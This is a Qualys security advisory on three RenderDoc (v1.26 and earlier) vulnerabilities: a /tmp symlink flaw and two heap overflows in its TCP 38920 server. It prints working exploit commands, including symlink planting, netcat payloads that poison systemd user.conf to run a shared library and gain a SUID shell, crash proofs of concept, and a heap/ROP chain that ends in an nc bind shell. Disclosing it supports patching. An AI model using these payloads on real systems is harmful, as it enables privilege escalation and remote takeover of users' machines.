RenderDoc 1.26 Local Privilege Escalation / Remote Code Execution

`  
Qualys Security Advisory  
  
LPE and RCE in RenderDoc: CVE-2023-33865, CVE-2023-33864, CVE-2023-33863  
  
  
========================================================================  
Contents  
========================================================================  
  
Summary  
CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc  
- Analysis  
- Exploitation  
CVE-2023-33864, an integer underflow to heap-based buffer overflow  
- Analysis  
- Exploitation  
CVE-2023-33863, an integer overflow to heap-based buffer overflow  
- Analysis  
Acknowledgments  
  
  
========================================================================  
Summary  
========================================================================  
  
"RenderDoc is a free MIT licensed stand-alone graphics debugger that  
allows quick and easy single-frame capture and detailed introspection  
of any application using Vulkan, D3D11, OpenGL & OpenGL ES or D3D12  
across Windows, Linux, Android, or Nintendo Switch(TM)."  
(https://renderdoc.org/)  
  
To capture a frame on Linux, RenderDoc LD_PRELOADs the shared library  
librenderdoc.so into the application to be debugged, and this library  
immediately starts a server thread that listens on TCP port 38920 (on  
all network interfaces) and waits for clients to connect. Unfortunately,  
we discovered three vulnerabilities in this server's implementation:  
  
- CVE-2023-33865, a symlink vulnerability that is exploitable by any  
unprivileged local attacker to obtain the privileges of the user who  
runs RenderDoc. The exact details of this symlink vulnerability made  
it quite interesting and challenging to exploit.  
  
- CVE-2023-33864, an integer underflow that results in a heap-based  
buffer overflow that is exploitable by any remote attacker to execute  
arbitrary code on the machine that runs RenderDoc. The unusual malloc  
exploitation technique that we used to exploit this vulnerability is  
reliable, one-shot, and works despite all the latest glibc, ASLR, PIE,  
NX, and stack-canary protections.  
  
- CVE-2023-33863, an integer overflow that results in a heap-based  
buffer overflow and may be exploitable by a remote attacker to execute  
arbitrary code on the machine that runs RenderDoc (but we have not  
tried to exploit this vulnerability).  
  
All three vulnerabilities were fixed on May 19, 2023 by the following  
commits (i.e., RenderDoc <= v1.26 is vulnerable, but v1.27 is fixed):  
  
https://github.com/baldurk/renderdoc/commit/601ed56111ce3803d8476d438ade1c92d6092856  
https://github.com/baldurk/renderdoc/commit/e0464fea4f9a7f149c4ee1d84e5ac57839a4a862  
https://github.com/baldurk/renderdoc/commit/1f72a09e3b4fd8ba45be4b0db4889444ef5179e2  
https://github.com/baldurk/renderdoc/commit/203fc8382a79d53d2035613d9425d966b1d4958e  
https://github.com/baldurk/renderdoc/commit/771aa8e769b72e6a36b31d6e2116db9952dcbe9b  
  
Last-minute note: RenderDoc also listens on TCP port 39920, but only  
allows connections from private IPs there (10.0.0.0/8, 172.16.0.0/12,  
192.168.0.0/16), and can be configured to further restrict this allow-  
list; on the other hand, RenderDoc allows anyone to connect to TCP port  
38920 (the port that we exploited), and cannot be configured to restrict  
who can connect there.  
  
  
========================================================================  
CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc  
========================================================================  
  
------------------------------------------------------------------------  
Analysis  
------------------------------------------------------------------------  
  
As soon as librenderdoc.so is LD_PRELOADed into the application to be  
debugged, its library_loaded() function:  
  
- creates the directory /tmp/RenderDoc, or reuses it if it already  
exists, even if it does not belong to the user who runs RenderDoc  
(Alice, in this advisory);  
  
- opens (and possibly creates) a log file of the form  
/tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log, and writes to it  
in append mode:  
  
------------------------------------------------------------------------  
507 open(filename.c_str(), O_APPEND | O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);  
------------------------------------------------------------------------  
  
Consequently, a local attacker can create /tmp/RenderDoc before Alice  
runs RenderDoc, and can populate this directory with numerous symlinks  
(of the form /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log) that  
point to an arbitrary file in the filesystem; when Alice runs RenderDoc,  
this file will be created (if it does not exist already) and written to,  
with Alice's privileges.  
  
The attacker can write arbitrary strings into this file (by sending  
these strings to RenderDoc on TCP port 38920), but unfortunately for the  
attacker, RenderDoc prepends each of these strings with a header that is  
not controlled by the attacker (and if the attacker sends a string that  
contains \n characters, then RenderDoc splits this string into multiple  
lines and prepends each line with the uncontrolled header), and this  
uncontrolled header makes it impossible for the attacker to achieve  
privilege escalation via Alice's usual dotfiles (.profile, .bashrc,  
.ssh/authorized_keys, etc).  
  
In the following example, the attacker (the user "nobody") writes  
arbitrary shell commands into Alice's .bashrc file, but the uncontrolled  
header that is prepended by RenderDoc causes a syntax error and prevents  
Alice's shell from executing the attacker's commands:  
  
------------------------------------------------------------------------  
nobody$ mkdir -m 0777 /tmp/RenderDoc  
nobody$ cd /tmp/RenderDoc  
  
nobody$ for ((i=0; i<600; i++)); do  
ln -sf /home/alice/.bashrc "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";  
done  
------------------------------------------------------------------------  
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600  
------------------------------------------------------------------------  
nobody$ s='$(id)'$';id;\nid\n#'  
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"  
0000000e  
  
nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x0e\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920  
(UNKNOWN) [127.0.0.1] 38920 (?) open  
------------------------------------------------------------------------  
alice$ bash  
bash: /home/alice/.bashrc: line 114: syntax error near unexpected token `('  
bash: /home/alice/.bashrc: line 114: `RDOC 003906: [05:50:25] core.cpp( 499) - Log - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application'  
  
alice$ cat /home/alice/.bashrc  
...  
RDOC 003906: [05:50:25] core.cpp( 499) - Log - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application  
RDOC 003906: [05:50:25] settings.cpp( 460) - Log - Loading config from /home/alice/.renderdoc/renderdoc.conf  
RDOC 003906: [05:50:25] posix_libentry.cpp( 73) - Log - Loading into /usr/bin/sleep  
RDOC 003906: [05:50:25] gl_hooks.cpp( 280) - Log - Registering OpenGL hooks  
RDOC 003906: [05:50:25] glx_hooks.cpp( 811) - Log - Registering GLX hooks  
RDOC 003906: [05:50:25] egl_hooks.cpp(1073) - Log - Registering EGL hooks  
RDOC 003906: [05:50:25] vk_layer.cpp( 99) - Log - Registering Vulkan hooks  
RDOC 003906: [05:56:03] target_control.cpp( 489) - Log - Invalid/Unsupported handshake '$(id);id;  
RDOC 003906: [05:56:03] target_control.cpp( 489) - Log - id  
RDOC 003906: [05:56:03] target_control.cpp( 489) - Log - #' / 1  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
Exploitation  
------------------------------------------------------------------------  
  
We spent a long time on this uncontrolled-header problem, and eventually  
found the following two-step solution:  
  
1/ We transform RenderDoc's symlink vulnerability into an arbitrary  
directory creation, by writing to the file .config/user-dirs.defaults in  
Alice's home directory: we write SYSTEMD=.config/systemd into this file,  
and the next time Alice logs in, xdg-user-dirs-update will automatically  
create the directory .config/systemd in Alice's home directory.  
  
But how did we solve the uncontrolled-header problem?  
xdg-user-dirs-update calls fgets() to read lines of at most 512 bytes  
from .config/user-dirs.defaults, so if we write a string longer than 512  
bytes into this file, then one fgets() will return a line that ends in  
the middle of our long string, and the next fgets() will return a line  
that starts in the middle of our long string: i.e., a line that starts  
with our own data, not with RenderDoc's uncontrolled header.  
  
2/ We transform RenderDoc's symlink vulnerability into an arbitrary code  
execution, by writing to the file .config/systemd/user.conf in Alice's  
home directory (we already created the directory .config/systemd in 1/):  
we write DefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so into this file,  
and the next time Alice logs in, systemd will execute our shared library  
/var/tmp/shell.so with Alice's privileges.  
  
But how did we solve the uncontrolled-header problem this time? systemd  
calls read_line_full() to read lines from .config/systemd/user.conf, and  
this function "Considers EOF, \n, \r and \0 end of line delimiters", so  
we simply use \r as a line delimiter to avoid the uncontrolled-header  
problem (indeed, RenderDoc only adds an uncontrolled header after \n,  
not after \r).  
  
------------------------------------------------------------------------  
nobody$ mkdir -m 0777 /tmp/RenderDoc  
nobody$ cd /tmp/RenderDoc  
  
nobody$ for ((i=0; i<600; i++)); do  
ln -sf /home/alice/.config/user-dirs.defaults "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";  
done  
------------------------------------------------------------------------  
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600  
------------------------------------------------------------------------  
nobody$ s="$(printf '_% 512s SYSTEMD=.config/systemd\n#' ' ')"  
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"  
0000021b  
  
nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x1b\x02\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920  
(UNKNOWN) [127.0.0.1] 38920 (?) open  
------------------------------------------------------------------------  
  
The next time Alice logs in, the directory .config/systemd will be  
created in Alice's home directory; then:  
  
------------------------------------------------------------------------  
nobody$ mkdir -m 0777 /tmp/RenderDoc  
nobody$ cd /tmp/RenderDoc  
  
nobody$ for ((i=0; i<600; i++)); do  
ln -sf /home/alice/.config/systemd/user.conf "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";  
done  
------------------------------------------------------------------------  
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600  
------------------------------------------------------------------------  
nobody$ s=$'_\r[Manager]\rDefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so\r#'  
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"  
0000003d  
  
nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x3d\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920  
(UNKNOWN) [127.0.0.1] 38920 (?) open  
------------------------------------------------------------------------  
  
The next time Alice logs in, our shared library /var/tmp/shell.so will  
be executed with Alice's privileges and will create a SUID shell in  
/var/tmp; then:  
  
------------------------------------------------------------------------  
nobody$ /var/tmp/shell -p  
$ id  
uid=65534(nobody) gid=65534(nogroup) euid=1000(alice) groups=65534(nogroup)  
^^^^^^^^^^^^^^^^  
------------------------------------------------------------------------  
  
  
========================================================================  
CVE-2023-33864, an integer underflow to heap-based buffer overflow  
========================================================================  
  
------------------------------------------------------------------------  
Analysis  
------------------------------------------------------------------------  
  
When a client connects to librenderdoc.so's server thread on TCP port  
38920, it must first send a handshake packet that contains a string, its  
"client name"; to read this string, the server:  
  
- malloc()ates an intermediary buffer of 64KB (at line 97), and reads  
the beginning of the client's handshake packet into this buffer:  
  
------------------------------------------------------------------------  
42 static const uint64_t initialBufferSize = 64 * 1024;  
..  
92 StreamReader::StreamReader(Network::Socket *sock, Ownership own)  
93 {  
94 m_Sock = sock;  
95   
96 m_BufferSize = initialBufferSize;  
97 m_BufferBase = AllocAlignedBuffer(m_BufferSize);  
98 m_BufferHead = m_BufferBase;  
99   
100 // for sockets we use m_InputSize to indicate how much data has been read into the buffer.  
101 m_InputSize = 0;  
------------------------------------------------------------------------  
  
- reads len, the length of the client-name string, from this  
intermediary buffer (at line 1313), and malloc()ates a string buffer  
of len bytes (at line 1314):  
  
------------------------------------------------------------------------  
1307 void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)  
1308 {  
1309 uint32_t len = 0;  
1310   
1311 if(IsReading())  
1312 {  
1313 m_Read->Read(len);  
1314 el.resize((int)len);  
1315 if(len > 0)  
1316 m_Read->Read(&el[0], len);  
------------------------------------------------------------------------  
  
- reads the client name directly into this string buffer (at line 185)  
if it is longer than 10MB (otherwise the server first reads the client  
name into the intermediary buffer, and then memcpy()s it into the  
string buffer):  
  
------------------------------------------------------------------------  
139 bool Read(void *data, uint64_t numBytes)  
140 {  
...  
183 if(numBytes >= 10 * 1024 * 1024 && Available() + 128 < numBytes)  
184 {  
185 success = ReadLargeBuffer(data, numBytes);  
------------------------------------------------------------------------  
  
More precisely, ReadLargeBuffer() reads all but the last 128 bytes of  
the client name directly into the string buffer (at line 304), and reads  
the last 128 bytes into the intermediary buffer (at line 354) and then  
memcpy()s them into the string buffer (at line 358):  
  
------------------------------------------------------------------------  
271 bool StreamReader::ReadLargeBuffer(void *buffer, uint64_t length)  
272 {  
...  
275 byte *dest = (byte *)buffer;  
...  
297 uint64_t directReadLength = length - 128;  
...  
304 bool ret = ReadFromExternal(dest, directReadLength);  
305   
306 dest += directReadLength;  
...  
350 m_BufferHead = m_BufferBase + m_BufferSize;  
...  
354 bool ret = ReadFromExternal(m_BufferHead - 128, 128);  
...  
357 if(dest && ret)  
358 memcpy(dest, m_BufferHead - 128, 128);  
------------------------------------------------------------------------  
  
Unfortunately, ReadFromExternal() mistakenly believes that m_InputSize  
(the total number of bytes read) can never exceed m_BufferSize (the size  
of the intermediary buffer), but in ReadLargeBuffer()'s case m_InputSize  
becomes larger than 10MB and m_BufferSize is 64KB, so the calculation of  
bufSize underflows (at line 408) and the size that is passed to recv()  
is much larger than the size of the destination buffer (at line 411):  
  
------------------------------------------------------------------------  
366 bool StreamReader::ReadFromExternal(void *buffer, uint64_t length)  
367 {  
...  
399 byte *readDest = (byte *)buffer;  
400   
401 success = m_Sock->RecvDataBlocking(readDest, (uint32_t)length);  
402   
403 if(success)  
404 {  
405 m_InputSize += length;  
406 readDest += length;  
407   
408 uint32_t bufSize = uint32_t(m_BufferSize - m_InputSize);  
...  
411 success = m_Sock->RecvDataNonBlocking(readDest, bufSize);  
------------------------------------------------------------------------  
  
Consequently, a remote attacker can overflow either the string buffer  
(at line 304) or the intermediary buffer (at line 354). In the following  
section, we explain how we transformed the overflow of the intermediary  
buffer into a reliable, one-shot remote code execution, despite all the  
latest glibc, malloc, ASLR, PIE, NX, and stack-canary protections.  
  
Proof of concept (string-buffer overflow):  
  
------------------------------------------------------------------------  
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600  
------------------------------------------------------------------------  
remote$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x%04096x' 1 1 | nc -nv 192.168.56.126 38920  
Ncat: 10489872 bytes sent, 0 bytes received in 0.12 seconds.  
------------------------------------------------------------------------  
alice$ cat strace.out  
...  
2638 recvfrom(5, "00000000000000000000000000000000"..., 4284547056, 0, NULL, NULL) = 4096  
...  
2638 recvfrom(5, "", 128, 0, NULL, NULL) = 0  
...  
2638 writev(2, [{iov_base="Fatal glibc error: malloc assert"..., iov_len=47}, {iov_base="__libc_malloc", iov_len=13}, {iov_base=": ", iov_len=2}, {iov_base="!victim || chunk_is_mmapped (mem"..., iov_len=98}, {iov_base="\n", iov_len=1}], 5) = 161  
...  
2638 --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2637, si_uid=1000} ---  
2637 <... clock_nanosleep resumed> <unfinished ...>) = ?  
2638 +++ killed by SIGABRT +++  
2637 +++ killed by SIGABRT +++  
------------------------------------------------------------------------  
  
Proof of concept (intermediary-buffer overflow):  
  
------------------------------------------------------------------------  
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600  
------------------------------------------------------------------------  
remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x' 1; sleep 3; printf '%0128x%04096x' 1 1) | nc -nv 192.168.56.126 38920  
Ncat: 10490000 bytes sent, 0 bytes received in 3.11 seconds.  
------------------------------------------------------------------------  
alice$ cat strace.out  
...  
2696 recvfrom(5, 0x7f725a9ff010, 4284547056, 0, NULL, NULL) = -1 EAGAIN (Resource temporarily unavailable)  
...  
2696 recvfrom(5, "00000000000000000000000000000000"..., 128, 0, NULL, NULL) = 128  
...  
2696 recvfrom(5, "00000000000000000000000000000000"..., 4284546928, 0, NULL, NULL) = 4096  
...  
2696 writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29  
...  
2696 --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2695, si_uid=1000} ---  
2695 <... clock_nanosleep resumed> <unfinished ...>) = ?  
2696 +++ killed by SIGABRT +++  
2695 +++ killed by SIGABRT +++  
------------------------------------------------------------------------  
  
------------------------------------------------------------------------  
Exploitation  
------------------------------------------------------------------------  
  
1/ When librenderdoc.so's server thread is created, the glibc's malloc  
allocates a new "heap" for this thread: 64MB of mmap()ed memory, whose  
start address is aligned on a multiple of 64MB. Initially, this heap is  
mmap()ed PROT_NONE, and is mprotect()ed read-write as needed by malloc:  
  
0 64M  
----V----------------------------------------V--------------|-------------  
| server thread's heap | random gap | libraries  
----|----------------------------------------|--------------|-------------  
  
Note: the gap of unmapped memory between the heap and the libraries is  
random (and smaller than 64MB), because the heap is aligned on 64MB but  
the libraries are randomly aligned on 4KB (or sometimes 2MB) by ASLR.  
  
2/ We (remote attackers) establish 7 successive connections to the  
server on TCP port 38920: for each one of these connections, the server  
creates a new thread (a "client thread"), allocates a new thread stack  
(8MB+4KB of mmap()ed memory, for the stack and its guard page), and then  
memory-leaks this stack (because the server does not call pthread_join()  
when the client thread terminates abnormally, which prevents its stack  
from being freed or reused for another client thread).  
  
The goal of this step 2/ is simply to fill the random gap between the  
heap and the libraries (with the help of a memory leak), to prevent any  
future thread stack from being allocated into this gap. The reason for  
doing this will become clear in step 7/.  
  
3/ We connect to the server on TCP port 38920, send a handshake packet  
that contains a 16MB client-name string (it must be longer than 10MB to  
trigger CVE-2023-33864), and obtain the following layout for the  
server's heap:  
  
0 14M 16M 20M 28M 32M  
--V-+-+-+-+--------------------V----V--------V----------------V--------V--  
|F|I|L|C| ....  
--|-+-+-+-+---------------------------------------------------------------  
  
- F are fixed chunks of memory (at the very beginning of the heap) that  
were not allocated by us but whose sizes are known to us;  
  
- I is the 64KB intermediary buffer mentioned in the previous section;  
  
- L is a small chunk that was memory-leaked (or free()d but stored in an  
otherwise unused tcache) and whose size is exactly controlled by us;  
  
- C is a small chunk (a "callstack" from our handshake packet) whose  
exact size and contents do not matter much.  
  
4/ We overflow the intermediary buffer I (thanks to CVE-2023-33864),  
overwrite L's malloc_chunk header with an unchanged size field, and  
overwrite C's malloc_chunk header with arbitrary prev_size and size  
fields.  
  
5/ The server free()s the intermediary buffer I. This free() succeeds  
despite our buffer overflow because we overwrote the malloc_chunk header  
of I's next chunk (L) with an unchanged size; without L between I and C,  
free()'s security checks would detect that we overwrote C's malloc_chunk  
header with arbitrary sizes and would abort().  
  
6/ The server free()s the small chunk C. Because we overwrote C's  
malloc_chunk header with a size field whose IS_MMAPPED bit is set,  
free() calls its internal function munmap_chunk():  
  
------------------------------------------------------------------------  
3018 static void  
3019 munmap_chunk (mchunkptr p)  
3020 {  
3021 size_t pagesize = GLRO (dl_pagesize);  
3022 INTERNAL_SIZE_T size = chunksize (p);  
....  
3026 uintptr_t mem = (uintptr_t) chunk2mem (p);  
3027 uintptr_t block = (uintptr_t) p - prev_size (p);  
3028 size_t total_size = prev_size (p) + size;  
....  
3034 if (__glibc_unlikely ((block | total_size) & (pagesize - 1)) != 0  
3035 || __glibc_unlikely (!powerof2 (mem & (pagesize - 1))))  
3036 malloc_printerr ("munmap_chunk(): invalid pointer");  
....  
3044 __munmap ((char *) block, total_size);  
3045 }  
------------------------------------------------------------------------  
  
- we fully control prev_size and size (because p is a pointer to C's  
malloc_chunk header, which we overwrote), so we can munmap() an  
arbitrary block of memory (at line 3044), relative to p (i.e.,  
relative to C, and without knowing the ASLR);  
  
- we can easily satisfy the preconditions at lines 3034 and 3035,  
because we fully control prev_size and size, and because we know the  
sizes of F and I, and we precisely control the size of L.  
  
We exploit this arbitrary munmap() to punch a hole of exactly 8MB+4KB  
(the size of a thread stack and its guard page) in the middle of the  
server's heap:  
  
0 14M 16M 20M 28M 32M  
--V-+-+-+-+--------------------V----V--------V----------------V--------V--  
|F|I|L|C| .... | punched hole |  
--|-+-+-+-+----------------------------------+----------------+-----------  
  
Note: we cannot reuse the technique that we developed to exploit  
CVE-2005-1513 (in qmail) here, because of the random gap between the  
server's heap and the libraries (and our exploit here must be one-shot);  
for reference:  
  
https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-execution-qmail.txt  
https://maxwelldulin.com/BlogPost/House-of-Muney-Heap-Exploitation  
https://www.ambionics.io/blog/hacking-watchguard-firewalls  
  
7/ We connect to the server on TCP port 38920; the server creates a new  
client thread, and allocates a new stack for this thread, exactly into  
the hole that we punched in the server's heap (since step 2/ such a  
stack cannot be allocated anymore into the random gap between the  
server's heap and the libraries):  
  
0 14M 16M 20M 28M 32M  
--V-+-+-+-+--------------------V----V--------V----------------V--------V--  
|F|I|L|C| .... | client stack |  
--|-+-+-+-+----------------------------------+----------------+-----------  
  
We then disconnect from the server; the client thread terminates cleanly  
and the server pthread_join()s with it, thus making its stack available  
for a future client thread.  
  
8/ We establish a long-lived connection to the server, and send a 14MB  
client-name string (but we do not trigger CVE-2023-33864 this time); the  
server reads our client name into a malloc()ated string buffer that ends  
in the middle of the unused client stack (i.e., this client name and the  
client stack overlap in the server's heap):  
  
0 14M 16M 20M 28M 32M  
--V-+-+-+-+--------------------V----V--------V----------------V--------V--  
|F|I|L|C| .... | | client stack |  
--|-+-+-+-+--------------------+-------------+-------------+--+-----------  
|---------------------------|  
client name  
  
Note: although the client stack's guard page is initially mmap()ed  
PROT_NONE, it is conveniently mprotect()ed read-write by the glibc's  
malloc when extending the server's heap for our 14MB client name (in  
grow_heap())!  
  
The server then creates a new client thread for our long-lived  
connection, and reuses the existing client stack for this thread, thus  
overwriting the end of our client name with data from the client stack.  
  
9/ We establish another connection to the server; however, because our  
first connection is still alive, the server disconnects us, but first  
gives us the name of the client that is already connected (i.e., the  
server sends us back our 14MB client name, which was partly overwritten  
by data from the client stack), thus information-leaking all sorts of  
stack contents to us: heap addresses, library addresses, stack  
addresses, the stack canary, etc.  
  
10/ While our first connection to the server is still alive, we  
establish another connection and start sending a 9MB string; the server  
reads this string into a malloc()ated buffer that starts in the middle  
of the client stack (immediately after the 14MB client name), thus  
overwriting the client stack with data that we fully control (a ROP  
chain):  
  
0 14M 16M 20M 28M 32M  
--V-+-+-+-+--------------------V----V--------V----------------V--------V--  
|F|I|L|C| .... | | client stack |  
--|-+-+-+-+--------------------+-------------+-------------+--+-----------  
|---------------------------|--->  
client name ROP  
  
As soon as the client thread returns to a saved instruction pointer  
(RIP) from the overwritten part of the client stack, our ROP chain is  
executed: first a "ROP sled" (a series of minimal "ret" gadgets, because  
we do not know the exact distance between the start of our ROP chain and  
the first overwritten saved RIP in the client stack), followed by a  
simple execve() of "/bin/nc -lp1337 -e/bin/bash".  
  
Note: we build our ROP chain with gadgets from librenderdoc.so only  
(whose address was information-leaked to us in step 9/), to avoid any  
dependence on the application being debugged or its shared libraries.  
  
To summarize this reliable, one-shot technique that we used to exploit  
the heap-based buffer overflow in librenderdoc.so's multi-threaded TCP  
server:  
  
- we overwrite the malloc_chunk header of a heap-based buffer (which  
will be free()d) with an arbitrary size field whose IS_MMAPPED bit is  
set, and therefore transform this buffer overflow into an arbitrary  
munmap() call (thanks to free()'s munmap_chunk() function);  
  
- with this arbitrary munmap() call, we punch a hole of exactly 8MB+4KB  
(the size of a thread stack) in the middle of the server's heap;  
  
- we arrange for a thread stack to be mmap()ed into this hole, and for a  
string (which will later be sent to us by the server) to be  
malloc()ated over the lower part of this thread stack;  
  
- when this string is sent to us by the server, parts of it were  
overwritten by data from the thread stack, thus information-leaking  
all sorts of stack contents to us (heap addresses, library addresses,  
stack addresses, the stack canary, etc);  
  
- finally, we arrange for another string (which we fully control) to be  
malloc()ated over the higher part of the thread stack, and therefore  
overwrite a saved instruction pointer (in the thread stack) with a ROP  
chain of gadgets from librenderdoc.so (whose address was previously  
information-leaked to us) -- a classic "stack smashing" attack.  
  
Note: further possibilities for munmap_chunk() exploitation are explored  
in http://tukan.farm/2016/07/27/munmap-madness/.  
  
  
========================================================================  
CVE-2023-33863, an integer overflow to heap-based buffer overflow  
========================================================================  
  
------------------------------------------------------------------------  
Analysis  
------------------------------------------------------------------------  
  
If a client connects to librenderdoc.so's server on TCP port 38920 and  
wants to send a long string of exactly 0xffffffff bytes (UINT32_MAX),  
then the server casts this uint32_t len to a signed int (at line 1314),  
and because resize()'s argument is a size_t (a 64-bit integer on amd64),  
this 0xffffffff int is sign-extended to a 0xffffffffffffffff size_t  
(SIZE_MAX) inside resize():  
  
------------------------------------------------------------------------  
1307 void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)  
1308 {  
1309 uint32_t len = 0;  
1310   
1311 if(IsReading())  
1312 {  
1313 m_Read->Read(len);  
1314 el.resize((int)len);  
1315 if(len > 0)  
1316 m_Read->Read(&el[0], len);  
------------------------------------------------------------------------  
  
resize() calls reserve() to malloc()ate a buffer for this long string  
(at line 508), and reserve() adds 1 to the size of this string (for a  
null-terminator) and therefore integer-overflows the SIZE_MAX size of  
this string to 0 and malloc()ates a minimum-sized buffer (at line 437)  
that is much too small for the client's long string:  
  
------------------------------------------------------------------------  
484 void resize(const size_t s)  
485 {  
...  
508 reserve(s);  
------------------------------------------------------------------------  
411 void reserve(size_t s)  
412 {  
...  
437 char *new_str = allocate(s + 1);  
------------------------------------------------------------------------  
  
As a result, the client can overflow this heap-based buffer with up to  
UINT32_MAX bytes. Proof of concept:  
  
------------------------------------------------------------------------  
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600  
------------------------------------------------------------------------  
remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\xff\xff\xff\xff'; sleep 3; printf '%04096x' 1) | nc -nv 192.168.56.126 38920  
Ncat: 4112 bytes sent, 0 bytes received in 3.00 seconds.  
------------------------------------------------------------------------  
alice$ cat strace.out  
...  
2848 recvfrom(5, "00000000000000000000000000000000"..., 4294967167, 0, NULL, NULL) = 4096  
2848 recvfrom(5, "", 4294963071, 0, NULL, NULL) = 0  
...  
2848 writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29  
...  
2848 --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2847, si_uid=1000} ---  
2847 <... clock_nanosleep resumed> <unfinished ...>) = ?  
2848 +++ killed by SIGABRT +++  
2847 +++ killed by SIGABRT +++  
------------------------------------------------------------------------  
  
Note: we have not tried to exploit this vulnerability.  
  
  
========================================================================  
Acknowledgments  
========================================================================  
  
We thank Baldur Karlsson, RenderDoc's creator and developer, for this  
invaluable open-source tool and for fixing these bugs just a few hours  
after we reported them. We also thank Mitre's CVE Assignment Team.  
  
  
`